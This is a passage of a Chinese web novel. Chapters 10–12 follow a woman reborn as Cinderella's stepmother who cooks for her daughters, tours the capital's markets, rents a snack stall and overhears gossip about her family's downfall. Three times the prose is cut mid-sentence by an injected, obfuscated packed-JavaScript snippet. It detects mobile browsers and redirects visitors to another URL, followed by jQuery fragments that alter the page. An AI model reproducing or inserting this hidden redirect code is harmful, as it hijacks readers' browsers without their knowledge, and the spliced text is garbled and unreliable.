上帝啊,她们以前吃的是屎吧?
可怜她们活到15、16岁才吃上这样的美味!
10. 第 10 章
“妈,我改主意了,明天我们吃班尼迪克蛋吧。”
她三两口吃完早午饭,意犹未尽地嗦了嗦手指。
尤兰达含糊“嗯”了一声作为回应,手上动作不停。
察觉老母亲的敷衍,菲奥娜干脆探过身子偷看。
不知什么时候,泥炉上的陶锅换了新的,正小火慢炖着的番茄汤汁,咕嘟咕嘟冒泡泡。
而她们被上帝吻过手的妈妈,一手洒水、一手转着圈玩面,玩出一堆珍珠大小的面球。
西芙拉已经半饱,可吃可不吃的状态,见妈妈忙活新花样,眼里瞬间亮起光。
“妈妈,这又是什么?会比班尼迪克蛋好吃吗?”她舔唇,锅里白乎乎的小东西和天上云团差不多。
尤兰达一回头,恰好对上两双亮晶晶、写满“想吃”的眼睛,顿了顿动作,补加一大勺小麦粉。
“番茄风味珍珠浓汤。”她说。
国内叫它面疙瘩汤,出了国得换一个符合当地风格的新名字,尤兰达眼睛不眨的瞎编。
麦麸含量为零的精制面粉价格不菲,尼尔森家存货不多,她全带来了。
尤兰达原打算省着点用,馋得没办法的时候做点面条饺子以慰思乡的胃腑。
如今有了可以刷新物资的空间,她顾虑全无,想怎么吃怎么吃。
不止面疙瘩,包子、馒头、面条、糕点……都有机会加入菜单,顿顿不重样。
还是煮水波蛋的那锅水,倒进咕嘟冒泡的番茄汤汁里很快沸腾,恰好她的面疙瘩也准备完毕。
汤底翻涌,尤兰达抓起一把面疙瘩,手腕轻抖,均匀撒入锅中。
做荷兰酱剩下的蛋清顺着锅边缓缓滑入,凝成柔软的蛋花后,木勺转着圈轻推,打散融进汤底。
有两个眼巴巴的观众盯着,尤兰达没敢多放空间里的“秘密调料”,简单撒了一把新鲜的欧芹叶,一勺咸肉酱提鲜。
热气腾腾、色泽鲜亮的番茄咸肉面疙瘩汤,出锅了。
菲奥娜猛吸一口气,张嘴想说什么,未出声,口水抢先冲出嘴角。
意外的失态让菲奥娜羞窘不已,耳根子冒烟。
她向上帝发誓,绝对是番茄风味珍珠浓汤的问题,她还从来没有被哪一种食物诱的当场流口水过。
见姐姐抢占先机,端着碗挤上去,菲奥娜一抹嘴角,捧起陶碗乖乖排队。
尤兰达失笑,嘱咐一句“小心烫”,便将一锅面疙瘩汤分成三份。
女孩们馋得两眼冒光,烫也不肯放手,左右手来回倒腾碗,小口小口吹气。
等待面疙瘩汤晾凉的间隙,尤兰达顺手收拾起来:
锅碗堆进洗碗盆,铲出炉膛里的草木灰倒进陶罐,放去井边石台上留着洗碗用。
泡了一晚的辣椒籽拌上泥土沿墙种下,抄起井边木桶提去菜园浇水,顺道给大G加了一盆燕麦。
忙活半天,估摸着面疙瘩汤差不多可以入口了,尤兰达拍着裙摆进了屋。
一进门,却见两个女孩几乎埋进碗里,银勺一圈圈刮过粗陶碗内壁,不太美妙的“格拉格拉”声此起彼伏。
尤兰达略显诧异地顿住脚步。
面疙瘩汤这样的中式家常菜,她以为两个小老外会吃不来,特意给她们做了班尼迪克蛋。
转念一想,原身记忆里所谓的富人阶级才能享用的昂贵食材,说实话,不过如此。比不上她刻板印象里的白人饭。
不怪两人没吃过饭一样,差点上舌头舔碗了,连三明治都能夸出花的美食荒漠,又怎么能抵抗大中华美食的降维打击?
尤兰达毫不怀疑,如果她能复刻出仰望星空派,两个小孩恐怕也会争着抢着吃下去。
捧起温热的面疙瘩汤,沿着碗边吸溜汤汁,尤兰达发出满足喟叹。
再加一勺辣油,那滋味,不敢想有多香。
吃饱喝足,时间尚早,街边市集尚未开摊,踩点也踩不出门道。
尤兰达盘算一遍手里的活,找来旧木桶,按住想飞奔出去玩耍的女儿们,一人分一件工具,围着木桶捣煤炭。
不一会工夫,后院锤声闷响。
“这太粗鄙了,我们竟然在用煤炭。”西芙拉尖叫着挥开飞扬的煤灰,一脸嫌恶。
“妈妈,可怜可怜我们吧,我的胳膊又酸又痛呢。而且煤炭……确实有损体面。”
菲奥娜有一下没一下地捣,像极了上班摸鱼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200986|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的老油条。
尤兰达假装没听见:“加把劲,孩子们。”
幸好原煤块碎小,省去她们不少力气,分批倒入盆中,很快变成煤面。
将过筛的黏土少量多次添加,同时洒入适量的干草屑,只需混合搅拌,手搓蜂窝煤可以说完成了大半步骤。
“妈妈,适量是多少?”
西芙拉拢起满满一大捧干草屑,迟疑着没敢松手。
尤兰达哪知道适量是多少,只凭着模糊记忆模仿爷爷奶奶的操作,早忘记具体比例。
草多了加煤,煤多了加水和黏土,几次调整,终于达到握团不散的状态。
黏稠乌黑、泛着湿润光泽的煤粉,和记忆里的状态有八成相似。
尤兰达没钱打模具,找来裂口的破陶碗,装满压实,倒扣上柴棚的木板顶。
三人形成流水线,接力劳作,不出十几分钟,将近15平方的柴棚棚顶整整齐齐排满一坨坨湿煤球。
最后,尤兰达折来一根树枝,手动戳“蜂窝”。
黑森王国的盛夏干燥少雨,阳光明媚,放在通风处,煤粉不出三天便能晒成蜂窝煤。
全程抱怨不停的菲奥娜捶了捶酸疼的胳膊,迟钝追问:“妈妈,做这些有什么用?”
尤兰达言简意赅:“省钱。”
为了省钱,所以想出了不费柴的炒菜,所以有了草屑混合煤炭的蜂窝煤,所以不怕死的摘了旁人眼中“有毒”、“难吃”、“观赏”的植物填肚子。
解释太多反而容易引起怀疑,不如用省钱当幌子,多合理啊。
当然,不全是幌子,她们真缺钱。
至于别人信不信,尤兰达胸有成竹。
哪个时代的底层百姓都如此,为省下一点钱,什么法子都愿意琢磨,并不罕见。
女孩们爱美,搓完蜂窝煤立刻飞奔回房间梳妆打扮,为午后的皇城市集行程做准备。
尤兰达留下负责收尾工作,洗干净木盆木桶摞一起推进杂物棚,梯子送进柴棚。
等她们撑着伞、拎着包,花枝招展地走出来,尤兰达刚好忙完,摘下围裙,挎上篮子。
母女三人手挽手,一起向大市集出发。
11. 第 11 章
踏上贝壳街的石板路,日头已升得老高。
早午餐时间一过,沿街饭馆里客人稀稀拉拉,丰收节后闲下来的农夫们,不约而同挤满各家小酒馆,划拳吹牛,高歌赞颂收获女神。
沿街漫步,塔博鼓“咚咚咚”,节奏鲜明,竖琴演奏欢欣乐曲,年轻人在喷泉旁围成圈,拍手踏脚蹦跶着,简单旋律让整条街的心跳同步。
驻足欣赏一会中世纪版本的广场舞,尤兰达牵起两个蠢蠢欲动的女孩们离开。
走出繁华的贝壳街,她们来到了更繁荣、恢弘的皇城主街——凤凰大道。
笔直宽阔的石板道路连通城门与皇宫,贯穿整座皇城。
据说往前走十条街,就进入了贵族、富商们的聚集地。还据说,那里连空气都是胡椒味。
尤兰达对后者持保留意见。
胡椒味的空气……还能呼吸吗?
神秘的贵族区或许豪奢,但她们所处平民区也很精彩。
尤兰达一路走来,恍惚回到了节假日的都市步行街,人山人海,处处生机勃勃。
堪比双向八车道的主路两侧,高大的橡树成了天然的区隔,划分出一块块阴凉的摊位。
树干系着彩色的篷布,风吹过,篷布像海浪一样上下翻飞。篷布之下,小贩支起木板,排列待售的货物。
什么贝壳街、海螺巷,与凤凰大道一比,冷清又简陋,不及这里十分之一的鲜活与气派。
饭馆生意做到凤凰大道来,还愁赚不到钱?
可惜,城中鲜少见到现代意义的固定娱乐休闲场所,只有酒馆和大广场勉强沾点边。
难不成这类场所开进贵族区了?
尤兰达走走停停,看什么都稀奇,看什么都充满商机,眼珠子和脑筋一起飞转。
她也不怕露馅,因为连西芙拉和菲奥娜这两个土著,同样对皇城的一切充满了陌生与好奇。
过去她们住在隔壁伯爵领地,活动范围仅限于镇子周边。
逢年过节,男主人才会带上管家仆从来皇城采买货物、与各路商队交际。
原身偶尔借口采买生活用品跟来过几次,再偷摸去收租,对皇城的记忆仅停留在几家熟悉的铺面上。
起初,女孩们小心翼翼拽着母亲的衣角,没过多久便敢挤进人群中乱窜,时不时发出低低的惊叹。
母女三人随着人潮,渐渐停在商队云集的珍珠街广场。
四通八达的道路两旁挤满各种类型的摊子:
南方海岸的商人摊开晒干的海藻与串成项链的贝壳;北境来的毛皮贩子将雪狐、灰狼的皮毛高高挂起;东方来的骆驼商队展示华光溢彩的柔软织物,挑动富商们的购买欲。
尤兰达一边走,一边闷不吭声地收集信息,加快对黑森王国商业环境的了解。
一匹产自东方的丝绸,足以换一座城郊的小农庄;三粒胡椒的价格比铁匠石匠半年的工钱高一大截,“价比黄金”在这里是陈述事实。
又往前走几步,摊子上空无一物,裹着头巾的异域商人脚踩货箱,连说带比划,倨傲表示看货需要验资,并且只接受金币交易。
穿了粗麻衣的平民想凑近问问到底卖的什么货,商队保镖连忙拔刀拦人,怒斥着驱赶他们。
这么一闹腾,反勾起了尤兰达三人的好奇心,她们略等了片刻,依稀从过往富商嘴里听到答案——
原来中东商人卖白瓷和茶叶。
难怪两旁看热闹的人群里,她瞧见好几个行迹鬼祟、目光贪婪地人,直勾勾盯着商队。
这就是皇城,财富与欲望赤裸裸陈列的地方、机遇与风险暗中流动的旋涡。
尤兰达不禁走神。
空间里一餐柜的白瓷餐具、玻璃茶杯酒杯,几大包茉莉绿茶和藏红花,值不少金币吧?
想归想,她可不敢轻易拿出来,好歹等她站稳了脚跟,有了门路。
见识过珍珠街的“集四海之物”,母女三人转向生活气息浓厚的菜市街。
这里,鲜少见到风尘仆仆的异域商队,多是老皇城人。小摊上鲜少找到昂贵商品,多是便宜常见的生活用品。
从功能上说,菜市街像海螺巷集市的plus版,类似大型农贸市场,生活中所需的绝大多数物资都能在此找到。
尤兰达记下街道名称,前往另一处市集:修道院石桥街。
修道院市集颇有名气,来往行人可能来自皇城四面八方,乃至城外村镇。
按照当下的命名习惯来推断,既然以“修道院”为名,附近必然建有修道院、教堂或钟楼之类的公共设施。
事实也确实如此,三人拐进街道,一抬眼便见连绵高耸的灰石修道院,占地面积颇广,尖顶上的铁十字泛出沉静的光。
临近斋戒日,修道院加入摆摊行列,大门口支起木板和篷布,门前的拥挤队伍跨越半条街不止。
尤兰达艰难挤到队伍尽头,看清售卖的货物,不由惊讶。
修道院经营的摊子,货品出乎意料的丰富。
有卖大米、小麦、藏红花、发酵面团、奶酪、干果和酸奶。水果有樱桃、苹果、蔓越莓、蓝莓。
除以上常规食材连续三天不间断上货,不常规的鳕鱼、腌鱼、鲈鱼、鳗鱼和鲤鱼,仅周四周五下午低价出售。
这一周买不到,只能等下一周的三四五了,对大多数平民来说,机会难得。
尤兰达眼热不已,要不是队伍太长,天黑都不一定排到她们,她早加入了。
她赶紧扒拉原身脑海中零碎的常识类记忆。
原来,修道院不止用于修士修行祷告,同时担负起农作物生产中心、文化中心、科研中心、技术中心、医疗机构、慈善机构等职能。
摊子上出现的所有食材,从谷物、蔬菜到熏肉、奶酪,无不是自产自销。
最令尤兰达惊喜的一点,修道院允许以物易物。
她亲眼见一妇人捧上新做的馅饼,换走一匹结实粗布。
还有一个矮人,声称自己有山神赠送的食谱,知道如何烹饪出美味的菌菇汤,表示希望用食谱换取未来长期低价采购烟熏肉的名额。
再看摊子后面的修士,闻言露出惊喜神色,当即邀请矮人进修道院展示技术。
尤兰达一惊,这也行?
真实的中世纪修道院什么样,她无从知晓,但童话世界的修道院着实刷新了她的认知。
她回头想招呼两个女儿稍等,却见她们一头扎进帽子店,对着满架子蕾丝蝴蝶结挑花了眼。
尤兰达摇摇头,整了整衣裙,表现出足够的恭敬,上前与修士搭话。
“愿主的平安与您同在。”她有意用了句拉丁语,随即切换成本地语,语气谦和:“尊敬的修士,如果我掌握一种方法,能将豆子烹煮出肉类的口感,甚至比肉更鲜美,是否能获得一点上帝的恩典?”
“比如,以优惠的价格采购一些鳕鱼、淡水鱼等其他合宜的物资。”
“愿主保佑你,善良的夫人,”他颔首回礼,语气温和了许多,“假如你真有这样奇妙的食谱,修道院很乐意为您提供相应的帮助。”
那几句刻意炫出来的拉丁文果然起了作用,修士认定她是有知识文化的高素质人,原本平淡的神色微微一凝,露出了比先前对待矮人时更真切几分的热情。
尤兰达心下稍安,面上适时流露出感激与恭敬:
“感谢上帝,感谢修士的善意。我和女儿们刚迁居皇城,诸事尚且陌生。待我将食谱仔细整理妥当,定会再来拜访。”
修士微微一笑,在胸前划了个十字:“愿主指引您的道路。我们随时恭候。”
简短交谈后,尤兰达行礼告辞,转身时,她长舒一口气。
简直像在和莎士比亚对话,字字句句再三斟酌,唯恐冒犯。
幸好,修道院对食谱交易持开放态度,往后说不定真能吃上修道院出产的、价格实惠的豆腐与豆浆。
黄豆应该是找不到的,市集上没见过,原主的记忆里也没这东西。不过有鹰嘴豆,不仅有,还很稀松平常,价格和小麦差不多,完美代替黄豆。
豆腐制作工艺复杂,体力消耗大,有句俗话叫“打铁、撑船、磨豆腐,人生三大苦”,足以证明在生产力低下的时代,磨豆腐有多累。
尤兰达不打算没苦硬吃,交给人力充裕的修道院去钻研,自己等着吃现成的岂不更好?还能低价采购鳕鱼。
鳕鱼可比培根、肉肠便宜,炸成鳕鱼排,三明治和汉堡包就都能提上日程,好处多多。
尤兰达越想越快活,转身去帽子店寻女儿们。
一进门,两个女孩一左一右缠住她,闹着要买蝴蝶结配裙子。
她没说什么,只默默扒开随身携带的羊皮小包,展露母女三人全部的家当。
西芙拉、菲奥娜傻眼:“我们家……这么穷了吗?”
对自家经济状况有了清晰而残酷的认知后,两人万分不舍地放下蝴蝶结。
尤兰达好奇,问道:“昨天收拾行李的时候,你们没有带上零花钱?”
拉斯穆森每周会给每个女儿10枚银币作为零花,对比许多打工人,相当阔绰。
菲奥娜:“妈妈,你忘了吗?我们的零花钱买了礼服裙子、做了新鞋子。”
尤兰达直叹气。
这一家子,没一个有储蓄意识。
大致摸清修道院石桥街的状况后,母女三人动身前往今日的最后一个目的地:工匠街。
选择工匠街的理由很朴素,铁匠、石匠、银匠、铜匠等手工业打工人薪资高,舍得花钱。
资深匠人的薪资水平大概处于高级白领阶段,周薪可达19枚银币,除贵族家的女仆、管家外公认的高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200987|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
薪岗。
就连学徒工的薪资,也普遍高于其他行业学徒。
因着当地人一天两顿的生活习惯,重体力劳动的工匠们容易饿肚子,常常会在下午2、3点左右多加一餐。
哪里有需求哪里有供应,没多久,工匠街两旁长满了小吃摊。
尤兰达走进工匠街,一眼扫过去,售卖食物的摊子数量远超其他品类,和原身记忆中的场面分毫不差。
硬面包、小馅饼、热熏肠、豌豆糊、蔬菜杂烩……小吃花样繁多,空气里交织着无法描述的复合气味,呛鼻子。
色香味形要什么没什么,比白人饭还不如,主打一个难吃又难看。
尤其摊贩毫无食品安全意识,馅饼上明晃晃两个大黑手印,竟然没一个客人提出异议。
尤兰达观察半天,勉强相信不是摊贩故意恶心人。
不吃不利于调研市场,吃了心里膈应、胃酸比心更膈应。
纠结半晌,尤兰达狠下心来当回冤大头。
捧着热乎小吃,她安慰自己大不了窜稀,眼睛一闭,硬着头皮咬下一口——
硬面包硌牙、剌嗓子,嚼不动,咽不下;
蔬菜杂烩稀屎一坨,摊主疑似清粪工转行;
豌豆糊咸的发齁,糊味和苦味和谐共存,黏着咽喉呑不下去吐不出来;
小馅饼夹了猪杂、猪血混合的边角料,浓厚的香料味与血腥气直冲脑门……
哕——!
锐评到一半,尤兰达眼白一翻,抑制不住地干呕,灵魂差点出窍。
这和生化武器有什么区别?也别叫什么美食荒漠了,改名叫美食地狱才贴切。
可能是物资匮乏,可能是技术限制,更有可能是当地人长了铁胃无所畏惧,总之,毫无烹饪技法的概念。
厨师热衷追求食材的昂贵与稀有,对食材的处理,手段简陋粗暴得令人发指。
什么百里香、罗勒、迷迭香……手边有什么香草就囫囵丢进去,用浓烈的草本气息蛮横覆盖一切可能的腥臊。
腥味有没有压下去不好说,反正混杂了多种香草、未经调和的野蛮气味,冲击力不比原始的腥味逊色。
这算哪门子的烹饪,分明是对食材的霸凌,对食客的无差别攻击。
幸好黑森王国沿用了罗马的骟猪技艺,猪肉不骚,否则这日子太没盼头了。
尤兰达擦了擦嘴角,压下不断翻涌的反胃感,扭头环顾四周。
街上除她以外,土著们像失去味觉似的,大口大口咀嚼,无一人表现出不适。
尤兰达打了个寒颤,自愧不如,剩下的小吃全让给西芙拉和菲奥娜。
“好吃吗?”
“好吃。”两个女孩腮帮鼓鼓。
“和薯条、玉米烙比呢?”
咀嚼骤然停止,女孩们眨了眨眼,手里的小馅饼\甜面团好像不香了。
尤兰达从她们的反应里得到了答案,信心暴增。
怎么说呢,大概是“全球厨师水平下降万倍,而我携带千年饮食智慧且厨艺不变”,无敌了。
工匠街从头走到尾,大小店面约有三、四百家,买小吃的顾客比其他几条街道加起来都多。
对比其他几条街巷,工匠街距离矮人巷最远,却最合适。
先不说手松的匠人们花钱买小吃的意愿有多强,单说前来工匠街购物的客人们,用得起铁锅、铜锅、金器、银器的群体,本身非富即贵,他们的钱比赚穷人的钱有赚头。
修道院石桥街摆摊其实也不错。
众所周知,整个王国不会有比修道院、教会更富裕的存在,并且他们无需向国王缴纳税金,因此,归他们管辖的街道摊位费价格比市场价略低。
分析完好处,再说说坏处。
愿意来修道院采买实惠物资的人群,大多家境拮据,或者生活节俭。别看人流量大,和主街比也不差什么,实际购买力差远了。
稍一对比,她立刻有了决断——以后就在工匠街摆摊!
尤兰达脚步一转,径直走向工匠街广场。
中心雕塑旁立着一根旗杆,下方摆着一张长桌,是承包工匠街的商人,所有在工匠街摆摊的小贩需向承包商缴纳摊位费。
如果货物多、占地多、需要搭建篷布,摊位费之外还有一个破土费。
尤兰达要做的食物无需太大面积,一辆小推车足以,是以只需缴纳摊位费,一天一缴,可提前预缴。
如果想钻空子当无证摊贩,就得小心工匠街的城管——巡摊员。
没抓到无所谓,抓到了当场收双倍费用,并拉去广场中心接受裁决。
向承包商确认斋期的摆摊时间和注意事项,缴纳第一天的20铜币摊位费后,尤兰达成功拿下一块铅牌。
有了营业执照,她的小吃摊正式完成筹备,只等第二天正式开摊。
12. 第 12 章
眼看生活即将走上正轨,尤兰达内心前所未有的安定。
回家的路上,她奢侈了一把,找到有固定摊位的蚝郎,预订40斤生蚝肉,赶在星期天中午前送去矮人巷。
没别的,当着两个小老外的面熬出蚝油,以后就能顺理成章的拥有“用不完”的蚝油了。
进入贝壳街,尤兰达顺路拐去海螺巷,找到“老实人酒坊”,提前订购酒水。
“淡啤酒150铜币一桶,浓啤酒210铜币一桶,蜂蜜酒贵点,300铜币。
葡萄酒是我们酒坊最贵的,得支付5枚银币,并且最少订3桶。夫人需要哪一种?”
看店的杂役打量母女三人的穿着后,笑容灿烂地迎上来。
尤兰达目光掠过一排排橡木桶,心里打起小算盘。
黑森王国的各行各业都成立了对应的行会。
上到代政府收税,中到规定岗位薪资,下到掌控货品定价权等,存在感极高。
啤酒被归类进大宗日用消费品,定价权自然而然落入啤酒行会手里。
行会规定,城中但凡售卖啤酒,1杯600ml的淡啤酒售价不超过1铜币,1杯600ml浓啤酒售价不超过2铜币。
自从规定施行,商家默契选择最高上限为定价。
实打实按照行会规定来,150铜币进一桶52加仑的淡啤酒,全部售出,到手约有420铜币……这毛利,绝对有的赚!
要知道当下时代,平民获取干净水源难度大,淡啤酒干净卫生又美味,理所当然成了大家的首选。
渴了喝一杯,热了喝一杯,出游玩耍打满一皮囊带着路上喝,有事没事来一杯。
男女老少都喝它,也都喝得起。
400杯,随便哪家酒馆,一天之内可以卖的一滴不剩。
饭馆则稍逊些,需要两天才能完全消化。
尤兰达估算了下需求量,痛快下单:“淡啤酒15桶,浓啤酒1桶,米迦勒节(9月29日)之前送到矮人巷北1店。”
杂役恭维道:“哦~英明又机智的夫人,您可真是选对了时间。
米迦勒节后就入冬了,到时候各家酒馆的订单排满,您再晚几天来,每桶至少多花5个铜币。”
进入冬季,不止酒坊,陶瓦坊、木柴坊、煤炭坊等,都会随季节更替而涨价。
尤兰达正因清楚这一点,早早定下陶瓦,小吃摊有着落后,才又拼着掏空口袋的风险,提前订啤酒。
如杂役所言,一到冬季,酒馆生意爆火,啤酒需求量激增。
尤其中间有个米迦勒节,当地会举办隆重的纪念活动,平民们杀鸡宰鹅欢度节日,啤酒更少不了。
为了抓住赚钱机会,各家酒馆饭馆卯足劲囤啤酒,啤酒行会也想趁机大赚一笔,自然而然跟着涨价。
涨价不可怕,怕到时候供不应求。
等饭馆开业再订酒水?喝西北风去吧。
尤兰达保持淡淡的傲慢姿态,问道:“我是第一次采购你家的啤酒,之前只喝过隔壁矮人巷老杰克家的。
说实话,他家一成半的预付货款太不划算了,不知道你们酒坊什么规矩?”
多亏原身收租时撞见了前任租户提货订货的画面,让她知道附近哪家酒坊物美价廉,哪家交货拖拉。
这不,正好派上用场。
杂役一听客户从老竞争对手家跑来,浑身劲劲的,“一成,夫人,我们酒坊只收一成货款。
夫人第一次光顾我们酒坊,100铜币的橡木桶押金可以免去,我们额外赠送一次免费运送。”
尤兰达数出246枚铜币交出去,“感谢您的大方,我会继续光顾老实人酒坊。”
杂役大喜过望,收了铜币,简单刻下一块木牌交出去。
尤兰达走出酒坊,捏了捏轻飘的羊皮小包。
里面只有十几个铜币,加上藏在家里抽屉备用的,总数200铜币出头。
“妈妈,”西芙拉迟疑开口,语气难以置信,“你租下摊位、订了啤酒……难道打算摆摊卖啤酒吗?”
这一天逛下来,除了满眼新鲜,两个孩子印象最深的,就是母亲租摊位、订啤酒的举动。她们理所当然地认为妈妈要去摆摊卖酒。
西芙拉心情复杂,既震惊她们家的贫穷,也痛惜妈妈要做不体面的活计糊口。
以及,她发自内心的认为……这有点丢脸。
若有朋友问起,她该如何说起自家的营生?她们肯定会看不起她的。
哦,她们搬来了皇城。
她们没有朋友了。
“妈妈,这太不体面了。”
菲奥娜慢一步追上来,恰好听到姐姐的话。仿佛讨论什么见不得人的事,她左右瞄一眼,见无人注意,低声表达自己的反对意见。
尤兰达停下脚步,反思片刻。
离开尼尔森家后,出于躲避、省事的心理,一直都是她自顾自的拿主意做打算,从来没有和她们认真沟通过。
两个女孩也习惯性听从母亲吩咐,乐于依靠她,根本不清楚母女三人要面对的挑战。
尤兰达认识到问题所在,决定把话说开。
“小西,小菲,”她平静的向女儿们陈述事实:“我们别无选择。如果不在夏天赚到足够多的钱,冬天会杀死我们。”
西芙拉和菲奥娜齐齐怔住,离家时短暂涌现的恐慌又一次漫上心头。
“小西,你有什么赚钱的法子吗?我是说每周10银币以上的工作,比如纺纱、织布。不过据我所知,纺纱织布一周可赚不到这么多。或许你擅长其他赚钱的技巧?”
西芙拉张了张唇,想说自己才不要去纺纱,随即喉头一哽。
她不会纺纱,不会织布,更不会其他的赚钱技巧。
尤兰达不等她回答,侧身转向菲奥娜。
“小菲,你愿意去当女仆吗?周薪虽不及你的零花,但足够我们三人吃上饱饭、买柴火取暖。
当然,如果你想去裁缝铺当学徒,学习制作漂亮衣裳,妈妈也支持你,只是学徒费低廉,恐怕负担不起我们的生活所需。”
菲欧娜差点跳脚:“妈妈!我怎么能去当女仆?我是喜欢漂亮裙子,可我不想当裁缝学徒。”
尤兰达毫不意外她们的反应,“我们迫切的需要钱,而你们想不到更好的法子。现在,你们还有心思考虑体面吗?”
面对冰冷而现实的生存问题,两人哑口无言。
西芙拉嗫嚅半晌,硬着头皮挤出一句干涩话音:“我们……不能去求求爸爸吗?”
“事实上,我们会站在这条街、讨论如何赚钱生存下去,多亏了他的‘仁慈’。
我想你们应该还记得,他亲口说过不允许我们带走一铜币。”
她顿了顿,声音更沉了些:“我们身无分文,而你们的爸爸,明知道我们无处可去。”
“他不在乎我们会不会冻死、饿死,无所谓我们如何活下去。”
女孩们如遭雷击,眼底迅速涌起水雾,面色惨白。
“傻孩子,别对任何人抱有期望。能救我们的,只有我们自己。”
尤兰达不忍心见漂亮女孩露出绝望神情,轻拍她们的后背。
“走吧,我们商量一下小吃摊卖什么。
我以为薯条和玉米烙不错,现在看好像份量有点小了,做成薯饼怎么样?”
她一手揽一个,连拖带拽的往矮人巷方向走。
“相信妈妈,没什么比自己赚到钱养活自己更体面的事了。
我保证,明天开始,你们会享受赚钱的快乐。”
两个女孩依旧恹恹,如丧考妣。
妈妈又在骗她们,花钱才是快乐的,赚钱怎么会快乐呢。
落日时分
浑圆大蛋黄悬在巷子尽头的天空,橘红余晖迎面洒,为石板路镀上刺眼的金。
母女三人沐光而行,像三团灼人的火。
走近矮人巷,远远地,她们就瞧见巷子口那棵老橡树下聚了不少人。
她们或挎着篮,或牵着驴,或抱着陶罐陶盆,说话声嗡嗡嗡,分外热闹。
尤兰达心里一动,想听点邻里闲话,带着女儿们往人堆边凑。
刚靠近几步,她倏地停下,耳尖动了动。
“……听说了吗?北1店下个月开业。”
“真的?空了大半年总算有人租了。”
“可不是租——”说话的中年妇人话音兴奋,环顾一圈,卖起关子,“老板你们肯定猜不到是谁!”
西芙拉和菲奥娜显然也听见了,不约而同放轻呼吸,目光悄悄往人堆里瞟。
“你们不知道吧,开饭馆的老板,是北1点的房主!”
“嘶——我记起来了,尤什么达?她太傲慢了,上次来收租,净显摆她的胡椒。
我可闻不惯胡椒味,臭臭的。”
“尤兰达!原来是她,不知道的以为哪家伯爵夫人呢。
说实话,我不喜欢她的鼻孔,可她总是用鼻孔瞪我。”
“她要开饭馆?她的丈夫不是富商吗?听说住在隔壁伯爵领,没少炫耀她的女儿们。”
“……炫耀女儿要当王妃的费尔南多?我可太记得她了。”有人恍然大悟,抱着胳膊打了个激灵:“天呐,以后岂不是要经常见面?”
带起话题的胖夫人得意挑起眉梢:“我的大表妹在伯爵宅邸当女仆,她今天一大早过来告诉我一件事。因为她知道我有多讨厌费尔南多,迫不及待要告诉我好消息。”
围拢来的几人一听有瓜,抓耳挠腮追问:“什么事什么事?格莱特你快说啊,我着急回家做晚饭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200988|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
胖夫人格莱特昂起头颅,“费尔南多和她的女儿们被富商丈夫赶出家门了!”
“嘶——!”四下一片吃惊的吸气声。
趾高气昂的富商夫人为自己的恶毒遭到惩罚,失去财富和地位,沦为贫穷流浪汉,很可能活不过今年的冬天。
放在平静祥却过于无趣的平民区,可是了不得的大事件,消息一传出,彻底点燃城中居民极大的吃瓜热情,七嘴八舌交流。
“你们知道新王妃吗?她就是费尔南多的女儿,不过是富商和第一位夫人的孩子。
平民区传遍了,费尔南多从小欺负辛德瑞拉,她的富商丈夫终于不肯忍耐,婚宴当天,在皇宫门口当着许多贵族、富商的面,驱赶了她们。”
“哦~很抱歉,但我很高兴听到这个消息。”
“上帝啊,新王妃太可怜了。”
“所以她们回来开饭馆?多了这样的邻居,户长一定很头疼。”
“老实说,她们能做出可以吃的食物吗?”
“瞧瞧她们养尊处优的样子,我发誓,绝对会吃死人。”
“亲爱的,你说的对。我们可怜的户长、可怜的街长,他们会有处理不完的麻烦事了。”
“她们会不会分不清橡木柴和松木柴的区别?可别做了亏本生意,哈哈哈哈。”
“亏本也是上帝给她们的惩罚,要我说,她们不该这么轻松的离开。看,还有一间铺子。”
“相信我吧,格莱特,即使她们有一座城堡,也迟早花得一干二净。”
“是啊,她们可不像我们。格莱特擅长酿酒,苏珊织布又快又好……她们会做什么呢?”
“反正我是不会光顾北1店的饭馆,她该为自己犯的错忏悔。”
“我也不会去的,她们太恶毒了,怎么能欺负新王妃。”
“你们都不去?那我也不去。”
“……”
尤兰达:……
尤兰达足足沉默了几分钟。
这瓜吃的,还吃到自己身上了。
西芙拉、菲奥娜远不如老母亲淡定,被从前瞧不起的平民当面肆意嘲弄,两人怒发冲冠。
让她们背后说妈妈坏话,必须教训教训她们!
尤兰达稍不注意,两人提起裙摆冲上去,蛮牛一样根本拉不住。
这俩小孩,有事是真上啊。
尤兰达花了一秒钟感慨,赶紧叫住她们,强势命令一声“回来”。
三人一番拉扯争执,树下的妇人们不得不分去一部分注意力。
这一瞧,大家都愣住了,神情一片空白。
显然,她们认出了尤兰达。
冷不防撞见她们议论半天的傲慢富商夫人,妇人们恨不得跳进小溪里。
太尴尬了。
